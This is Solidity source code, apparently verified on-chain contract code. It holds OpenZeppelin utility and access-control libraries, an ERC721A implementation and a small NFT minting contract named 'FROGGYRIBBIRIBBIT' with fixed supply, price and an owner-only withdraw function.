* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File contracts/ERC721A.sol
// Creator: FROGGY
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 1;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract FROGGYRIBBIRIBBIT is ERC721A, Ownable {
string public baseURI = "QmScJTX5AayN5L4ghwkqL9e3heTQJ1iyaaL4ynzxtDQ3Bm";
string public contractURI = "ipfs://QmZhbSYLAPmxUkT39LFTuLhLtpQM4CK1zzA3bAeixUNwCx";
string public constant baseExtension = ".json";
uint256 public constant MAX_PER_TX = 10;
uint256 public constant MAX_PER_WALLET = 10;
uint256 public constant MAX_SUPPLY = 500;
uint256 public constant price = 0.0069 ether;
bool public paused = false;
mapping(address => uint256) public addressMinted;
constructor() ERC721A("FroggyRIBBITRIBBIT", "FROGGY") {}
function mint(uint256 _amount) external payable {
address _caller = _msgSender();
require(!paused, "Paused");
require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply");
require(_amount > 0, "No 0 mints");
require(tx.origin == _caller, "No contracts");
require(addressMinted[msg.sender] + _amount <= MAX_PER_WALLET, "Exceeds max per wallet");
require(MAX_PER_TX >= _amount , "Excess max per paid tx");
require(_amount * price == msg.value, "Invalid funds provided");
addressMinted[msg.sender] += _amount;
_safeMint(_caller, _amount);
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
(bool success, ) = _msgSender().call{value: balance}("");
require(success, "Failed to send");
}
function pause(bool _state) external onlyOwner {
paused = _state;
}
function setBaseURI(string memory baseURI_) external onlyOwner {
baseURI = baseURI_;
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "Token does not exist.");
return bytes(baseURI).length > 0 ? string(
abi.encodePacked(
baseURI,
Strings.toString(_tokenId),
baseExtension
)
) : "";
}
}
contract OwnableDelegateProxy { }
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
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/**
*Submitted for verification at Etherscan.io on 2021-11-29
*/
// File: @openzeppelin/[email protected]/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/[email protected]/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/[email protected]/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/[email protected]/access/IAccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/[email protected]/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/[email protected]/access/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/[email protected]/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
